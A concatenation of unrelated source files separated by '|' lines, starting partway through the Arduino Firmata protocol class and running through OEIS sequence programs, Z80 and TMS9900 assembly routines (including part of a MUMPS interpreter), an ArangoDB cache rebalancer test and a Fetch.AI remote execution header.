firmwareVersionVector[firmwareVersionCount] = 0;
firmwareVersionVector[0] = major;
firmwareVersionVector[1] = minor;
strncpy((char*)firmwareVersionVector + 2, filename, firmwareVersionCount - 2);
// alas, no snprintf on Arduino
// snprintf(firmwareVersionVector, MAX_DATA_BYTES, "%c%c%s",
// (char)major, (char)minor, firmwareVersionVector);
}
//------------------------------------------------------------------------------
// Serial Receive Handling
int FirmataClass::available(void)
{
return Serial.available();
}
void FirmataClass::processSysexMessage(void)
{
switch(storedInputData[0]) { //first byte in buffer is command
case REPORT_FIRMWARE:
printFirmwareVersion();
break;
case STRING_DATA:
if(currentStringCallback) {
byte bufferLength = (sysexBytesRead - 1) / 2;
char *buffer = (char*)malloc(bufferLength * sizeof(char));
byte i = 1;
byte j = 0;
while(j < bufferLength) {
buffer[j] = (char)storedInputData[i];
i++;
buffer[j] += (char)(storedInputData[i] << 7);
i++;
j++;
}
(*currentStringCallback)(buffer);
}
break;
default:
if(currentSysexCallback)
(*currentSysexCallback)(storedInputData[0], sysexBytesRead - 1, storedInputData + 1);
}
}
void FirmataClass::processInput(void)
{
int inputData = Serial.read(); // this is 'int' to handle -1 when no data
int command;
// TODO make sure it handles -1 properly
if (parsingSysex) {
if(inputData == END_SYSEX) {
//stop sysex byte
parsingSysex = false;
//fire off handler function
processSysexMessage();
} else {
//normal data byte - add to buffer
storedInputData[sysexBytesRead] = inputData;
sysexBytesRead++;
}
} else if( (waitForData > 0) && (inputData < 128) ) {
waitForData--;
storedInputData[waitForData] = inputData;
if( (waitForData==0) && executeMultiByteCommand ) { // got the whole message
switch(executeMultiByteCommand) {
case ANALOG_MESSAGE:
if(currentAnalogCallback) {
(*currentAnalogCallback)(multiByteChannel,
(storedInputData[0] << 7)
+ storedInputData[1]);
}
break;
case DIGITAL_MESSAGE:
if(currentDigitalCallback) {
(*currentDigitalCallback)(multiByteChannel,
(storedInputData[0] << 7)
+ storedInputData[1]);
}
break;
case SET_PIN_MODE:
if(currentPinModeCallback)
(*currentPinModeCallback)(storedInputData[1], storedInputData[0]);
break;
case REPORT_ANALOG:
if(currentReportAnalogCallback)
(*currentReportAnalogCallback)(multiByteChannel,storedInputData[0]);
break;
case REPORT_DIGITAL:
if(currentReportDigitalCallback)
(*currentReportDigitalCallback)(multiByteChannel,storedInputData[0]);
break;
}
executeMultiByteCommand = 0;
}
} else {
// remove channel info from command byte if less than 0xF0
if(inputData < 0xF0) {
command = inputData & 0xF0;
multiByteChannel = inputData & 0x0F;
} else {
command = inputData;
// commands in the 0xF* range don't use channel data
}
switch (command) {
case ANALOG_MESSAGE:
case DIGITAL_MESSAGE:
case SET_PIN_MODE:
waitForData = 2; // two data bytes needed
executeMultiByteCommand = command;
break;
case REPORT_ANALOG:
case REPORT_DIGITAL:
waitForData = 1; // two data bytes needed
executeMultiByteCommand = command;
break;
case START_SYSEX:
parsingSysex = true;
sysexBytesRead = 0;
break;
case SYSTEM_RESET:
systemReset();
break;
case REPORT_VERSION:
Firmata.printVersion();
break;
}
}
}
//------------------------------------------------------------------------------
// Serial Send Handling
// send an analog message
void FirmataClass::sendAnalog(byte pin, int value)
{
// pin can only be 0-15, so chop higher bits
Serial.print(ANALOG_MESSAGE | (pin & 0xF), BYTE);
sendValueAsTwo7bitBytes(value);
}
// send a single digital pin in a digital message
void FirmataClass::sendDigital(byte pin, int value)
{
/* TODO add single pin digital messages to the protocol, this needs to
* track the last digital data sent so that it can be sure to change just
* one bit in the packet. This is complicated by the fact that the
* numbering of the pins will probably differ on Arduino, Wiring, and
* other boards. The DIGITAL_MESSAGE sends 14 bits at a time, but it is
* probably easier to send 8 bit ports for any board with more than 14
* digital pins.
*/
// TODO: the digital message should not be sent on the serial port every
// time sendDigital() is called. Instead, it should add it to an int
// which will be sent on a schedule. If a pin changes more than once
// before the digital message is sent on the serial port, it should send a
// digital message for each change.
// if(value == 0)
// sendDigitalPortPair();
}
// send 14-bits in a single digital message (protocol v1)
// send an 8-bit port in a single digital message (protocol v2)
void FirmataClass::sendDigitalPort(byte portNumber, int portData)
{
Serial.print(DIGITAL_MESSAGE | (portNumber & 0xF),BYTE);
Serial.print((byte)portData % 128, BYTE); // Tx bits 0-6
Serial.print(portData >> 7, BYTE); // Tx bits 7-13
}
void FirmataClass::sendSysex(byte command, byte bytec, byte* bytev)
{
byte i;
startSysex();
Serial.print(command, BYTE);
for(i=0; i<bytec; i++) {
sendValueAsTwo7bitBytes(bytev[i]);
}
endSysex();
}
void FirmataClass::sendString(byte command, const char* string)
{
sendSysex(command, strlen(string), (byte *)string);
}
// send a string as the protocol string type
void FirmataClass::sendString(const char* string)
{
sendString(STRING_DATA, string);
}
// Internal Actions/////////////////////////////////////////////////////////////
// generic callbacks
void FirmataClass::attach(byte command, callbackFunction newFunction)
{
switch(command) {
case ANALOG_MESSAGE: currentAnalogCallback = newFunction; break;
case DIGITAL_MESSAGE: currentDigitalCallback = newFunction; break;
case REPORT_ANALOG: currentReportAnalogCallback = newFunction; break;
case REPORT_DIGITAL: currentReportDigitalCallback = newFunction; break;
case SET_PIN_MODE: currentPinModeCallback = newFunction; break;
}
}
void FirmataClass::attach(byte command, systemResetCallbackFunction newFunction)
{
switch(command) {
case SYSTEM_RESET: currentSystemResetCallback = newFunction; break;
}
}
void FirmataClass::attach(byte command, stringCallbackFunction newFunction)
{
switch(command) {
case STRING_DATA: currentStringCallback = newFunction; break;
}
}
void FirmataClass::attach(byte command, sysexCallbackFunction newFunction)
{
currentSysexCallback = newFunction;
}
void FirmataClass::detach(byte command)
{
switch(command) {
case SYSTEM_RESET: currentSystemResetCallback = NULL; break;
case STRING_DATA: currentStringCallback = NULL; break;
case START_SYSEX: currentSysexCallback = NULL; break;
default:
attach(command, (callbackFunction)NULL);
}
}
// sysex callbacks
/*
* this is too complicated for analogReceive, but maybe for Sysex?
void FirmataClass::attachSysex(sysexFunction newFunction)
{
byte i;
byte tmpCount = analogReceiveFunctionCount;
analogReceiveFunction* tmpArray = analogReceiveFunctionArray;
analogReceiveFunctionCount++;
analogReceiveFunctionArray = (analogReceiveFunction*) calloc(analogReceiveFunctionCount, sizeof(analogReceiveFunction));
for(i = 0; i < tmpCount; i++) {
analogReceiveFunctionArray[i] = tmpArray[i];
}
analogReceiveFunctionArray[tmpCount] = newFunction;
free(tmpArray);
}
*/
//******************************************************************************
//* Private Methods
//******************************************************************************
// resets the system state upon a SYSTEM_RESET message from the host software
void FirmataClass::systemReset(void)
{
byte i;
waitForData = 0; // this flag says the next serial input will be data
executeMultiByteCommand = 0; // execute this after getting multi-byte data
multiByteChannel = 0; // channel data for multiByteCommands
for(i=0; i<MAX_DATA_BYTES; i++) {
storedInputData[i] = 0;
}
parsingSysex = false;
sysexBytesRead = 0;
if(currentSystemResetCallback)
(*currentSystemResetCallback)();
//flush(); //TODO uncomment when Firmata is a subclass of HardwareSerial
}
// =============================================================================
// used for flashing the pin for the version number
void FirmataClass::pin13strobe(int count, int onInterval, int offInterval)
{
byte i;
pinMode(VERSION_BLINK_PIN, OUTPUT);
for(i=0; i<count; i++) {
delay(offInterval);
digitalWrite(VERSION_BLINK_PIN, HIGH);
delay(onInterval);
digitalWrite(VERSION_BLINK_PIN, LOW);
}
}
// make one instance for the user to use
FirmataClass Firmata;
|
; A170242: Number of reduced words of length n in Coxeter group on 41 generators S_i with relations (S_i)^2 = (S_i S_j)^40 = I.
; 1,41,1640,65600,2624000,104960000,4198400000,167936000000,6717440000000,268697600000000,10747904000000000,429916160000000000,17196646400000000000,687865856000000000000,27514634240000000000000
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,40
lpe
mov $0,$2
div $0,40
|
; Aurora 256 colour definitions V1.00 2000 Tony Tebby
; 2002 Marcel Kilgus
section driver
xdef pt.palql
xdef pt.pal256
xdef pt.spxlw
xdef pt.rpxlw
xdef pt.samsk
pt.palql equ 8 ; size of QL palette
pt.pal256 equ 256 ; size of 256 colour palette
pt.spxlw equ 2 ; shift pixels to long word
pt.rpxlw equ 3 ; round up pixels to long word
pt.samsk equ $00000000 ; xy save area origin mask
end
|
; A084221: a(n+2) = 4*a(n), with a(0)=1, a(1)=3.
; 1,3,4,12,16,48,64,192,256,768,1024,3072,4096,12288,16384,49152,65536,196608,262144,786432,1048576,3145728,4194304,12582912,16777216,50331648,67108864,201326592,268435456,805306368,1073741824,3221225472,4294967296,12884901888,17179869184,51539607552,68719476736,206158430208,274877906944,824633720832,1099511627776,3298534883328,4398046511104,13194139533312,17592186044416,52776558133248,70368744177664,211106232532992,281474976710656,844424930131968,1125899906842624,3377699720527872
mov $1,2
pow $1,$0
mov $2,$0
mod $2,2
add $2,2
mul $1,$2
div $1,2
mov $0,$1
|
;
; ANSI Video handling for the Robotron Z9001
;
; Stefano Bodrato - Sept. 2016
;
;
; CLS - Clear the screen
;
;
;
; $Id: f_ansi_cls.asm,v 1.1 2016-09-23 06:21:35 stefano Exp $
;
SECTION code_clib
PUBLIC ansi_cls
EXTERN __z9001_attr
.ansi_cls
ld hl,$EC00
ld (hl),32 ;' '
ld d,h
ld e,l
inc de
ld bc,40*24 - 1
ldir
ld hl,$EC00 - 1024
ld a,(__z9001_attr)
ld (hl),a
ld d,h
ld e,l
inc de
ld bc,40 * 24 - 1
ldir
ret
|
; A064583: a(n) = n^4*(n^4+1)*(n^2-1).
; 0,0,816,53136,986880,9390000,58831920,276825696,1057222656,3444262560,9900990000,25724822640,61490347776,137047559376,287786357040,574098840000,1095233372160,2009042197056,3559481173296,6114129610320,10214463840000,16642143690480,26505160063536,41348347984416,63293496422400,95215087500000,140958577047600,205609089447216,295819445972736,420207581003280,589834628190000,818776282523520,1124801467908096,1530173866928256,2062593503622960,2756297314890000,3653339505258240,4805074456816176,6273867064700976,8135057592361440
pow $0,2
mov $2,$0
mov $3,$0
pow $0,2
mov $1,$0
pow $2,2
sub $2,$3
mul $3,$2
mul $1,$3
add $1,$3
|
leaw $R0,%A
movw (%A),%D
leaw $R3,%A
movw %D,(%A) ;valor R0 salvo em R3.
leaw $R1,%A
movw (%A),%D ; d com valor de R1
leaw $R4,%A
movw %D,(%A) ; R1 em R4
while1:
leaw $R3, %A
movw (%A),%D
leaw $R4, %A
subw %D,(%A),%S
leaw $R3,%A
movw %S,(%A)
leaw $R5,%A
movw (%A),%D
incw %D
leaw $R5,%A
movw %D,(%A)
leaw $RESULT0,%A
je %S
nop
leaw $RESULTNEG,%A
jl %S
nop
leaw %while1,%A
jmp
nop
RESULTNEG:
leaw $R2,%A
subw %D,$1,%S
movw %S,(%A)
leaw $END,%A
jmp
nop
RESULT0:
leaw $R2,%A
movw %D,(%A)
END:
nop
|
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC console_01_output_fzx_proc_check_scroll
console_01_output_fzx_proc_check_scroll:
; enter : ix = struct fzx_state *
; hl = y coord
;
; exit : scroll required
;
; hl = scroll amount in pixels
; carry reset
;
; scroll not required
;
; carry set
;
; uses : f, de, hl
ld e,(ix+15)
ld d,(ix+16) ; de = paper.height
or a
sbc hl,de ; y - paper.height
ret c ; if y < paper.height
inc hl ; hl = required scroll amount in pixels
ret
|
; A070619: n^5 mod 36.
; 0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9,4,35,0,1,32,27,16,29,0,31,8,9,28,23,0,25,20,27,4,17,0,19,32,9,16,11,0,13,8,27,28,5,0,7,20,9
pow $0,5
mod $0,36
mov $1,$0
|
main:
PUSH %14
MOV %15,%14
SUBS %15,$8,%15
SUBS %15,$16,%15
SUBS %15,$4,%15
@main_body:
MOV $1,-4(%14)
MOV $2,-8(%14)
MOV $3,-12(%14)
MOV -8(%14),%0
ADDS $1,-8(%14),-8(%14)
MOV %0,-16(%14)
MOV $0,-20(%14)
ADDS -4(%14),-8(%14),%1
MOV %1,-24(%14)
MOV $1,-28(%14)
JMP @main_exit
@main_exit:
MOV %14,%15
POP %14
RET |
; mstr.asm
; routines for parsing out string values from
; mumps code, variables etc
;
getmstr ;
;mov r11,*r10+
push r11
;getleftval: ; get left side of expression
bl @getvalue ; left side
gmops clr r3
movb *r9,r3
getop ci r3,SPACE ; if space done
jeq exitgm
ci r3,NULL ; if null done
jeq exitgm
gmplus
ci r3,PLUS ; is +
jeq gmright
ci r3,Minus
jeq gmright
ci r3,Asteric
jeq gmright
ci r3,Slash
jeq gmright
ci r3,Amp
jeq gmright
ci r3,Exclampt
jeq gmright
ci r3,Hashtag
jeq gmright
ci r3,Equals
jeq gmright
ci r3,Greater
jeq gmright
ci r3,LessThan
jeq gmright
ci r3,RightBracket
jeq gmright
ci r3,Underscore
jeq gmright
; error ...
jmp exitgm
gmright: ; get right side of expression
pushss r2 ; push operator on ss stack
movb r3,*r2+ ;
clr r3
movb r3,*r2
inc r9
movb *r9,r3
gmrt2 push r3
bl @getvalue ; get right hand value and put on ss stack
pop r3
domath bl @math ; numeric operators
jmp gmops
;;; get the value of this m string
getvalue:
push r11
clr r3 ; clear r3
movb *r9+,r3 ; get char after space and advance
ci r3,OpenParen ; is it a (
jne getvcp ; if no jump to getvcp
bl @getmstr
; return here
getvcp: ci r3,CloseParen
jne getv2 ; if no ( jump down
inc r9
pop r11
b *r11
getv2
ci r3,2200h ; check "
jeq litstr ; go read literal string
ci r3,Dol ; check for $
jeq dolstr ; it's a $ function or variable
bl @isdigit ; checks r3 for digit, returns EQ if digit, NE otherwise
jeq digstr ; go get digits
ci r3,Minus ; unary -
jeq getuni ; jmp to uni
ci r3,Plus ; if not - is it a +
jeq getuni ; if yes jump to uni
jmp getval2 ; other wise cary on
getuni:
b @unaryop ; negative number
getval2
bl @isalpha ; is it an alpah
jeq varstr ; go get value of a variable
li r1,2 ; invalid mstring
mov r1,@ErrNum
exitgetmstr:
exitgm:
pop r11
b *r11
digstr: ; read digits a number string
; need to add allowing '.'
pushss r2 ; get address of spot on string stack
clr r5 ; clear until a decimal point
digstr1:
movb r3,*r2+ ; store digit ( or minus)
movb *r9,r3 ; get next char
ci r3,Period ; is it a decimal point ( only one though...)
jne digit1 ; nope not . skip over
inc r5 ; inc number of decimal points
ci r5,1 ; is it first one
jeq digit2 ; yes jump down and continue
li r5,3 ; error
mov r5,@ErrNum ;
jmp exitgetmstr ; error so exit out
digit1
bl @isdigit ; is it a digit
jne termstr ; if not then done
digit2 inc r9
jmp digstr1 ; yes then loop back up to store it
litstr ; parse literal string
pushss r2
clr r3
ls1 movb *r9+,r3
ci r3,2200h ; check for "
jeq termstr
movb r3,*r2+
jmp ls1
termstr
clr r3
movb r3,*r2 ; terminate the string
jmp exitgetmstr
varstr: ; get value of variable
;
dec r9 ; prep for get label
li r1,VARNAME ; point to scrath mem to store varname
push r1 ; address to store varname
bl @getlabel ; go read varname from code
li r7,VARNAME ; set r7 to address of varname for find
mov @HEAD,r6 ; set to head of tree to search
bl @TreeFindVar ; r6 holds address if found, 0h otherwise
ci r6,0 ; if 0 not found
jeq varstrerr ; log error
movb *r9,r3 ; is it a simple var or array
ci r3,Openparen ;
jne varsimple
varsarr:
push r6 ; address of the varname
inc r9 ; move past (
bl @getmstr ; get value of what is in parens
popss r7 ; pop value inside parens
pop r6 ; get address of the array var back
mov @8(r6),r6 ; get address of array index head of subnodes tree
bl @TreeFindVar ; does it exist? (search value in r7 in subtree)
ci r6,0 ; if 0 does not exist
jeq varstrerr ; error if does not exist
inc r9 ; past close paren
;jmp varstrexit
varsimple:
mov @14(r6),r6 ; get poiter to data
pushss r7 ; get address to store data on str stack
bl @strcopy ; copy to address in string stack
jmp varstrexit ; all done
varstrerr:
li r1,25
mov r1,@ErrNum
varstrexit:
jmp exitgetmstr
dolstr: ; $ function or variable
clr r3
movb *r9+,r3 ; get letter after $
swpb r3
bl @toupper
swpb r3
bl @isalpha ; check if alpha
jne dolerr ;
swpb r3
ai r3,-65 ; find offset from A
a r3,r3 ; double it as addresses are two bytes
li r4,doltbl ; load address of jump table
a r3,r4 ; add to offset
mov *r4,r3 ; get jump address from address in jump table
ci r3,0 ; is the address from the table 0
jne dolstr2 ; if not keep jump down to dolstr2
jmp dolerr ; bad $function
dolstr2:
bl *r3 ; jump to mumps command routine
jmp varstrexit
dolerr:
clr r11
li r11,13 ; bad $function
mov r11,@Errnum
b @exitgetmstr
getlabel: ; get label name from code ( maybe combine with getvarname)
; address to put label pushed to stack
; assumes *r9 is an alpha so caller should check
pop r1 ; get address to put label
push r11 ; push return address
movb NULL,*r1 ; initial to NULL incase no label here
getlab2:
clr r3 ; clear char
movb *r9,r3 ; get char and advance code pointer
ci r3,0h ; if null done
jeq getlabterm ; terminate the string
ci r3,SPACE ; if space done
jeq getlabterm ; terminiate the string
ci r3,OpenParen ; if ( done
jeq getlabterm ; terminiate the string
ci r3,CloseParen ; if ) done
jeq getlabterm ; terminiate the string
ci r3,Equals ; if = done
jeq getlabterm ; terminiate the string
ci r3,Greater ; if > done
jeq getlabterm ; terminiate the string
ci r3,LessThan ; if < done
jeq getlabterm ; terminiate the string
ci r3,RightBracket ; if ] done follows operator
jeq getlabterm ; terminate the string
ci r3,Underscore ; concat
jeq getlabterm ; terminate the string
ci r3,Comma ; if , then done
jeq getlabterm ; terminate the string
;ci r3,CloseParen ; if , then done
;jeq getlabterm ; terminate the string
ci r3,Plus
jeq getlabterm ; terminate the string
ci r3,Minus
jeq getlabterm ; terminate the string
ci r3,Asteric
jeq getlabterm ; terminate the string
ci r3,Slash
jeq getlabterm ; terminate the string
ci r3,Hashtag
jeq getlabterm ; terminate the string
ci r3,Colon
jeq getlabterm ; terminate the string
bl @isalpha ; must be an alpha or num
jne getlabdigit ; not alpha might be digit
movb *r9+,*r1+ ; write to LABEL string
jmp getlab2
getlabdigit:
bl @isdigit ;
jne getlaberr ; not alpha or digit ( need is alphnum?
movb *r9+,*r1+ ; write to LABEL string
jmp getlab2
getlabterm:
clr r3
movb r3,*r1
getlabdone:
pop r11 ; pop return address
b *r11 ; return to caller
getlaberr:
li r11,11 ; bad label
mov r11,@ErrNum
jmp getlabterm
|
////////////////////////////////////////////////////////////////////////////////
/// @brief test suite for arangodb::cache::Rebalancer
///
/// @file
///
/// DISCLAIMER
///
/// Copyright 2017 ArangoDB GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Daniel H. Larkin
/// @author Copyright 2017, ArangoDB GmbH, Cologne, Germany
////////////////////////////////////////////////////////////////////////////////
#include "Cache/Rebalancer.h"
#include "Basics/Common.h"
#include "Cache/Common.h"
#include "Cache/Manager.h"
#include "Cache/PlainCache.h"
#include "Cache/Transaction.h"
#include "Cache/TransactionalCache.h"
#include "Random/RandomGenerator.h"
#include "MockScheduler.h"
#include "catch.hpp"
#include <stdint.h>
#include <queue>
#include <string>
#include <thread>
#include <vector>
using namespace arangodb;
using namespace arangodb::cache;
TEST_CASE("cache::Rebalancer", "[cache][!hide][longRunning]") {
SECTION("test rebalancing with PlainCache") {
RandomGenerator::initialize(RandomGenerator::RandomType::MERSENNE);
MockScheduler scheduler(4);
Manager manager(scheduler.ioService(), 128 * 1024 * 1024);
Rebalancer rebalancer(&manager);
size_t cacheCount = 4;
size_t threadCount = 4;
std::vector<std::shared_ptr<Cache>> caches;
for (size_t i = 0; i < cacheCount; i++) {
caches.emplace_back(manager.createCache(CacheType::Plain));
}
bool doneRebalancing = false;
auto rebalanceWorker = [&rebalancer, &doneRebalancing]() -> void {
while (!doneRebalancing) {
bool rebalanced = rebalancer.rebalance();
if (rebalanced) {
usleep(500 * 1000);
} else {
usleep(100);
}
}
};
auto rebalancerThread = new std::thread(rebalanceWorker);
uint64_t chunkSize = 4 * 1024 * 1024;
uint64_t initialInserts = 1 * 1024 * 1024;
uint64_t operationCount = 4 * 1024 * 1024;
std::atomic<uint64_t> hitCount(0);
std::atomic<uint64_t> missCount(0);
auto worker = [&manager, &caches, cacheCount, initialInserts,
operationCount, &hitCount,
&missCount](uint64_t lower, uint64_t upper) -> void {
// fill with some initial data
for (uint64_t i = 0; i < initialInserts; i++) {
uint64_t item = lower + i;
size_t cacheIndex = item % cacheCount;
CachedValue* value = CachedValue::construct(&item, sizeof(uint64_t),
&item, sizeof(uint64_t));
auto status = caches[cacheIndex]->insert(value);
if (status.fail()) {
delete value;
}
}
// initialize valid range for keys that *might* be in cache
uint64_t validLower = lower;
uint64_t validUpper = lower + initialInserts - 1;
// commence mixed workload
for (uint64_t i = 0; i < operationCount; i++) {
uint32_t r = RandomGenerator::interval(static_cast<uint32_t>(99UL));
if (r >= 99) { // remove something
if (validLower == validUpper) {
continue; // removed too much
}
uint64_t item = validLower++;
size_t cacheIndex = item % cacheCount;
caches[cacheIndex]->remove(&item, sizeof(uint64_t));
} else if (r >= 95) { // insert something
if (validUpper == upper) {
continue; // already maxed out range
}
uint64_t item = ++validUpper;
size_t cacheIndex = item % cacheCount;
CachedValue* value = CachedValue::construct(&item, sizeof(uint64_t),
&item, sizeof(uint64_t));
auto status = caches[cacheIndex]->insert(value);
if (status.fail()) {
delete value;
}
} else { // lookup something
uint64_t item =
RandomGenerator::interval(static_cast<int64_t>(validLower),
static_cast<int64_t>(validUpper));
size_t cacheIndex = item % cacheCount;
Finding f = caches[cacheIndex]->find(&item, sizeof(uint64_t));
if (f.found()) {
hitCount++;
TRI_ASSERT(f.value() != nullptr);
TRI_ASSERT(f.value()->sameKey(&item, sizeof(uint64_t)));
} else {
missCount++;
TRI_ASSERT(f.value() == nullptr);
}
}
}
};
std::vector<std::thread*> threads;
// dispatch threads
for (size_t i = 0; i < threadCount; i++) {
uint64_t lower = i * chunkSize;
uint64_t upper = ((i + 1) * chunkSize) - 1;
threads.push_back(new std::thread(worker, lower, upper));
}
// join threads
for (auto t : threads) {
t->join();
delete t;
}
doneRebalancing = true;
rebalancerThread->join();
delete rebalancerThread;
for (auto cache : caches) {
manager.destroyCache(cache);
}
RandomGenerator::shutdown();
}
SECTION("test rebalancing with TransactionalCache") {
RandomGenerator::initialize(RandomGenerator::RandomType::MERSENNE);
MockScheduler scheduler(4);
Manager manager(scheduler.ioService(), 128 * 1024 * 1024);
Rebalancer rebalancer(&manager);
size_t cacheCount = 4;
size_t threadCount = 4;
std::vector<std::shared_ptr<Cache>> caches;
for (size_t i = 0; i < cacheCount; i++) {
caches.emplace_back(manager.createCache(CacheType::Transactional));
}
bool doneRebalancing = false;
auto rebalanceWorker = [&rebalancer, &doneRebalancing]() -> void {
while (!doneRebalancing) {
bool rebalanced = rebalancer.rebalance();
if (rebalanced) {
usleep(500 * 1000);
} else {
usleep(100);
}
}
};
auto rebalancerThread = new std::thread(rebalanceWorker);
uint64_t chunkSize = 4 * 1024 * 1024;
uint64_t initialInserts = 1 * 1024 * 1024;
uint64_t operationCount = 4 * 1024 * 1024;
std::atomic<uint64_t> hitCount(0);
std::atomic<uint64_t> missCount(0);
auto worker = [&manager, &caches, cacheCount, initialInserts,
operationCount, &hitCount,
&missCount](uint64_t lower, uint64_t upper) -> void {
Transaction* tx = manager.beginTransaction(false);
// fill with some initial data
for (uint64_t i = 0; i < initialInserts; i++) {
uint64_t item = lower + i;
size_t cacheIndex = item % cacheCount;
CachedValue* value = CachedValue::construct(&item, sizeof(uint64_t),
&item, sizeof(uint64_t));
auto status = caches[cacheIndex]->insert(value);
if (status.fail()) {
delete value;
}
}
// initialize valid range for keys that *might* be in cache
uint64_t validLower = lower;
uint64_t validUpper = lower + initialInserts - 1;
uint64_t blacklistUpper = validUpper;
// commence mixed workload
for (uint64_t i = 0; i < operationCount; i++) {
uint32_t r = RandomGenerator::interval(static_cast<uint32_t>(99UL));
if (r >= 99) { // remove something
if (validLower == validUpper) {
continue; // removed too much
}
uint64_t item = validLower++;
size_t cacheIndex = item % cacheCount;
caches[cacheIndex]->remove(&item, sizeof(uint64_t));
} else if (r >= 90) { // insert something
if (validUpper == upper) {
continue; // already maxed out range
}
uint64_t item = ++validUpper;
if (validUpper > blacklistUpper) {
blacklistUpper = validUpper;
}
size_t cacheIndex = item % cacheCount;
CachedValue* value = CachedValue::construct(&item, sizeof(uint64_t),
&item, sizeof(uint64_t));
auto status = caches[cacheIndex]->insert(value);
if (status.fail()) {
delete value;
}
} else if (r >= 80) { // blacklist something
if (blacklistUpper == upper) {
continue; // already maxed out range
}
uint64_t item = ++blacklistUpper;
size_t cacheIndex = item % cacheCount;
caches[cacheIndex]->blacklist(&item, sizeof(uint64_t));
} else { // lookup something
uint64_t item =
RandomGenerator::interval(static_cast<int64_t>(validLower),
static_cast<int64_t>(validUpper));
size_t cacheIndex = item % cacheCount;
Finding f = caches[cacheIndex]->find(&item, sizeof(uint64_t));
if (f.found()) {
hitCount++;
TRI_ASSERT(f.value() != nullptr);
TRI_ASSERT(f.value()->sameKey(&item, sizeof(uint64_t)));
} else {
missCount++;
TRI_ASSERT(f.value() == nullptr);
}
}
}
manager.endTransaction(tx);
};
std::vector<std::thread*> threads;
// dispatch threads
for (size_t i = 0; i < threadCount; i++) {
uint64_t lower = i * chunkSize;
uint64_t upper = ((i + 1) * chunkSize) - 1;
threads.push_back(new std::thread(worker, lower, upper));
}
// join threads
for (auto t : threads) {
t->join();
delete t;
}
doneRebalancing = true;
rebalancerThread->join();
delete rebalancerThread;
for (auto cache : caches) {
manager.destroyCache(cache);
}
RandomGenerator::shutdown();
}
}
|
; A040252: Continued fraction for sqrt(269).
; 16,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2,32,2,2
mul $0,8
mov $1,4
mov $2,$0
cmp $2,0
add $0,$2
div $1,$0
gcd $0,3
add $0,2
add $1,4
pow $1,$0
div $1,64
mul $1,2
mov $0,$1
|
#pragma once
//------------------------------------------------------------------------------
//
// Copyright 2018-2019 Fetch.AI Limited
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
//------------------------------------------------------------------------------
#include "dmlf/execution/execution_interface.hpp"
#include "dmlf/execution/execution_params.hpp"
#include "dmlf/execution_workload.hpp"
#include "muddle/muddle_interface.hpp"
#include "muddle/rpc/client.hpp"
#include "muddle/rpc/server.hpp"
namespace fetch {
namespace dmlf {
class RemoteExecutionClient : public ExecutionInterface
{
public:
using MuddlePtr = muddle::MuddlePtr;
using Uri = network::Uri;
using RpcClient = fetch::muddle::rpc::Client;
using PromiseOfResult = fetch::network::PromiseOf<ExecutionResult>;
using OpIdent = ExecutionWorkload::OpIdent;
using PendingResults = std::map<OpIdent, PromiseOfResult>;
using Params = ExecutionParameters;
explicit RemoteExecutionClient(MuddlePtr mud, std::shared_ptr<ExecutionInterface> local =
std::shared_ptr<ExecutionInterface>());
~RemoteExecutionClient() override = default;
static constexpr char const *LOCAL = "local:///";
RemoteExecutionClient(RemoteExecutionClient const &other) = delete;
RemoteExecutionClient &operator=(RemoteExecutionClient const &other) = delete;
bool operator==(RemoteExecutionClient const &other) = delete;
bool operator<(RemoteExecutionClient const &other) = delete;
PromiseOfResult CreateExecutable(Target const &target, Name const &execName,
SourceFiles const &sources) override;
PromiseOfResult DeleteExecutable(Target const &target, Name const &execName) override;
PromiseOfResult CreateState(Target const &target, Name const &stateName) override;
PromiseOfResult CopyState(Target const &target, Name const &srcName,
Name const &newName) override;
PromiseOfResult DeleteState(Target const &target, Name const &stateName) override;
PromiseOfResult Run(Target const &target, Name const &execName, Name const &stateName,
std::string const &entrypoint, Params const ¶ms) override;
// This is the exported interface which is called with results from the remote host.
bool ReturnResults(OpIdent const &op_id, ExecutionResult const &result);
protected:
private:
std::shared_ptr<ExecutionInterface> local_;
MuddlePtr mud_;
std::shared_ptr<RpcClient> client_;
PendingResults pending_results_;
std::size_t counter = 0;
PromiseOfResult Returned(const std::function<bool(OpIdent const &op_id)> &func);
byte_array::ConstByteArray TargetUriToKey(std::string const &target);
};
} // namespace dmlf
} // namespace fetch
|
;
; Small C+ Runtime Library
;
; Z88 Application functions
;
; *** Z88 SPECIFIC FUNCTION - probably no equiv for your machine! ***
;
; 11/4/99
;
; Send Mail
;
; int sendmail(char *type, char *info, int length)
;
